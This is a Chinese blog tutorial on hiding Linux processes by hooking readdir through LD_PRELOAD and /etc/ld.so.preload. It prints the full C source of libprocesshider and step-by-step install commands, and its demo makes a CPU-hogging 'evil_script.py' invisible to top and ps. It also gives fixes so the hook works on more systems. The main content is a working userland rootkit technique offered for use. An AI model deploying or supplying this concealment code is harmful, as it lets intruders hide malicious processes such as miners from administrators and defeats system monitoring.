前言

思路就是利用 LD_PRELOAD 来实现系统函数的劫持

LD_PRELOAD是什么:

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

实现

1.下载程序编译

bmfxgkpt-yhd:~# git clone https://github.com/gianlucaborello/libprocesshider.git

Cloning into 'libprocesshider'...

remote: Counting objects: 26, done.

remote: Total 26 (delta 0), reused 0 (delta 0), pack-reused 26

Unpacking objects: 100% (26/26), done.

bmfxgkpt-yhd:~# cd libprocesshider/

bmfxgkpt-yhd:~/libprocesshider# make

gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl

bmfxgkpt-yhd:~/libprocesshider#

2.移动文件到/usr/local/lib/目录下

mv libprocesshider.so /usr/local/lib/

3.把它加载到全局动态连接局

echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

测试

我们运行evil_script.py

此时发现在top 与 ps 中都无法找到 evil_script.py

此时我们发现 cpu 100%,但是却找不到任何占用cpu高的程序

分析

#define _GNU_SOURCE

#include

#include

#include

#include

#include

/*

* Every process with this name will be excluded

*/

static const char* process_to_filter = "evil_script.py";

/*

* Get a directory name given a DIR* handle

*/

static int get_dir_name(DIR* dirp, char* buf, size_t size)

{

int fd = dirfd(dirp);

if(fd == -1) {

return 0;

}

char tmp[64];

snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);

ssize_t ret = readlink(tmp, buf, size);

if(ret == -1) {

return 0;

}

buf[ret] = 0;

return 1;

}

/*

* Get a process name given its pid

*/

static int get_process_name(char* pid, char* buf)

{

if(strspn(pid, "0123456789") != strlen(pid)) {

return 0;

}

char tmp[256];

snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);

FILE* f = fopen(tmp, "r");

if(f == NULL) {

return 0;

}

if(fgets(tmp, sizeof(tmp), f) == NULL) {

fclose(f);

return 0;

}

fclose(f);

int unused;

sscanf(tmp, "%d (%[^)]s", &unused, buf);

return 1;

}

#define DECLARE_READDIR(dirent, readdir) \

static struct dirent* (*original_##readdir)(DIR*) = NULL; \

\

struct dirent* readdir(DIR *dirp) \

{ \

if(original_##readdir == NULL) { \

original_##readdir = dlsym(RTLD_NEXT, "readdir"); \

if(original_##readdir == NULL) \

{ \

fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \

} \

} \

\

struct dirent* dir; \

\

while(1) \

{ \

dir = original_##readdir(dirp); \

if(dir) { \

char dir_name[256]; \

char process_name[256]; \

if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \

strcmp(dir_name, "/proc") == 0 && \

get_process_name(dir->d_name, process_name) && \

strcmp(process_name, process_to_filter) == 0) { \

continue; \

} \

} \

break; \

} \

return dir; \

}

DECLARE_READDIR(dirent64, readdir64);

DECLARE_READDIR(dirent, readdir);

程序定义了一个变量 process_to_filter 来控制不显示哪个进程名

重写readdir, strcmp(process_name, process_to_filter) == 0) 当发现当前进程名称与 process_to_filter 相同时,继续循环.

遇到的坑

某些Linux中这个程序编译通不过

解决方法

删除最后两行中的一行

DECLARE_READDIR(dirent64, readdir64);

DECLARE_READDIR(dirent, readdir);

某些Linux中使用 echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

并不会生效 此时我们需要配置环境变量 bmfxgkpt-yhd:~# vi /etc/profile

增加一行 export LD_PRELOAD=/usr/local/lib/libprocesshider.so

c程序隐藏linux,linux 下隐藏进程的一种方法相关推荐

  1. Linux中创建Daemon进程的三种方法

    Linux中创建Daemon进程的三种方法 什么是daemon进程? Unix/Linux中的daemon进程类似于Windows中的后台服务进程,一直在后台运行运行,例如http服务进程nginx, ...

  2. linux删除test文件夹,Linux删除目录下的文件的几种方法

    Linux删除目录下的文件的几种方法 删除当前目录下的文件 1.rm -f * #最经典的方法,删除当前目录下的所有类型的文件 2.find . -type f -delete或find . -typ ...

  3. linux删除目录或文件命令行,Linux删除目录下的文件的10种方法小结

    看到了一遍文章,便突发奇想的想起Linux中删除目录下的所有文件的方法:整理了几个,如有不足,还望读者不吝赐教! 删除当前目录下的文件 1.rm -f * #最经典的方法,删除当前目录下的所有类型的文 ...

  4. win10taskkill强行结束进程_Win10程序卡死怎么办? Win10强制结束进程的两种方法

    Windows 10系统中,经常遇到某一进程卡死.停止运行的现象,处理此问题的方法可以有:注销一次系统:结束此系统进程. 结束系统进程的方法可以在任务管理器中进行,也可以在管理员命令提示符窗口中使用T ...

  5. linux下杀死进程的10种方法

    基础篇: 首先,用ps查看进程,方法如下: $ ps -aux 内容如下: ....... root     17149  0.0  0.1 101700  3572 ?        Ss   14 ...

  6. 网络编程(32)—— linux中销毁僵尸进程的四种方法

    一.wait函数 函数原型: pid_t wait(int *status); 描述: wait可以回收任意一个僵尸进程,只要系统中存在僵尸进程,调用一次wait,就会回收一个僵尸进程. 参数说明: ...

  7. Linux操作系统下查找文件的几种方法

    1.whereis 文件名 特点:快速,但是是模糊查找,例如 找 #whereis mysql 它会把mysql,mysql.ini,mysql.*所在的目录都找出来.我一般的查找都用这条命令. 2. ...

  8. linux删除目录中指定文件,Linux删除目录下的文件的10种方法

    删除当前目录下的文件 1.rm -f * #最经典的方法,删除当前目录下的所有类型的文件 2.find . -type f -delete或find . -type f -exec rm -f {} ...

  9. linux存储安装教程,在Linux下安装Pngquant的三种方法:从存储库,源代码及使用Cargo安装...

    本文介绍在Linux操作系统下安装Pngquant的三种方法,即从存储库.从源代码及使用Cargo安装,可用在Arch Linux.Debian.Ubuntu.Linux Mint.Fedora.op ...

  10. linux系统调用劫持隐藏进程,linux 下隐藏进程的一种方法及遇到的坑

    前言 1.本文所用到的工具在 https://github.com/gianlucaborello/libprocesshider 可以下载 2.思路就是利用 LD_PRELOAD 来实现系统函数的劫 ...

最新文章

  1. 在Vue的webpack中结合runder函数
  2. 福州大学数学专业matlab教材,福州大学MATLAB基础实验指导书
  3. ASP.NET 配置文件加密
  4. spring里头各种获取ApplicationContext的方法
  5. 9月21日云栖精选夜读 | 如何优雅地从四个方面加深对深度学习的理解
  6. Developer Express控件组合中的GridControl控件,如何自动显示每一行的序号
  7. 如何用python进行相关性分析_如何在python中检查连续变量和分类变量之间的相关性?...
  8. eclipse下如何打开被关闭的项目_如何在Windows 10中打开和关闭平板电脑模式
  9. Spring容器创建流程(5)bean后置处理之注册
  10. 在数据中心里SDN技术发展现状
  11. 无盘服务器 免费,免费无广告的网咖专用云无盘安装图文教程
  12. 修改php fpm监听端口,怎样修正php fpm监听端口_后端开发
  13. 字节跳动高工面试:java高级程序员面试宝典蔡羽豆瓣
  14. 别了,IE浏览器?微软正式宣布
  15. 广东省污水处理厂数字孪生平台建模_三维可视化平台_吉优赛维数字孪生_三维激光扫描_BIM建模
  16. inotify+rsync 实现实时同步
  17. 深入浅出kafka原理-5-kafka同步副本ISR高低水位HW
  18. Flutter 自定义控件-仿照安卓和抖音图标绘制
  19. 情人节送给单身男女的福利
  20. MySQL精品学习资源合集 | 含学习教程笔记、运维技巧、图书推荐

热门文章

  1. C语言学习之购房从银行贷了一笔款d,准备每月还款额为p,月利率为r,计算多少月能还清。
  2. 程序员面试100题之十六:二叉树中两个节点的最近公共父节点
  3. 2012百度实习生招聘面试题
  4. AngularJS中自定义过滤器
  5. 九章算法班L3 Dynamic Programming Ⅰ
  6. C#数组 动态添加元素
  7. 关于MultipleOutputFormat若干小记
  8. C#中简单的正则表达式(也经常会用到的)
  9. flex 结合sandy引擎创作
  10. WinAPI: Pie - 绘制饼图